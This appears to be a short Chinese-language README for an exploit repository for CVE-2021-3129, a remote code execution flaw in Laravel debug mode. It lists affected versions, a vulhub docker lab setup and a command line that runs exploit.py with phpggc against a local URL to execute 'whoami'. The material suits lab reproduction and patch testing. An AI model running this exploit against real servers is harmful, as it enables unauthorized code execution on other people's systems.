simonlee-hello / CVE-2021-3129

CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞

CVE-2021-3129

CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞

影响版本及条件

Laravel <= 8.4.2 Ignition <2.5.2

环境搭建

docker pull vulhub/laravel:8.4.2

exp使用

在exploit.py同目录下下载执行 git clone https://github.com/ambionics/phpggc.git python3 exploit.py http://127.0.0.1:80 "whoami"